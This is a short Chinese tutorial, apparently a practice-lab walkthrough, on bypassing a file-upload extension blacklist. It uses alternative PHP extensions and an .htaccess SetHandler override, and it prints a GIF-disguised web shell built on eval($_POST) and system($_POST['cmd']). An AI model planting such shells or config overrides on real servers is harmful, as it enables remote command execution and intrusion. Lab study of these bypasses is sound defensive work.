檔案上傳繞過黑名單的方法

這篇文章主要介紹了關於檔案上傳繞過黑名單的方法，有著一定的參考價值，現在分享給大家，有需要的朋友可以參考一下

　本關主要通過設定上傳尾碼，限制asp，php，jsp 等尾碼，不允許上傳。

　姿勢一：本次繞過方式為修改尾碼為.php3,php5等，這裡是黑名單驗證('.asp','.aspx','.php','.jsp')，我們可上傳php3,php5...等這樣可以被伺服器解析的尾碼名

姿勢二：重寫檔案解析規則繞過

1、先上傳先上傳一個名為.htaccess檔案，內容如下：

<FilesMatch "1.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

2、上傳1.jpg指令碼

內容：

GIF89a<?php eval($_POST['joker']);?><%eval request("joker")%><?php system($_POST['cmd']);?>

最後查看結果如下：

以上就是本文的全部內容，希望對大家的學習有所協助，更多相關內容請關注topic.alibabacloud.com！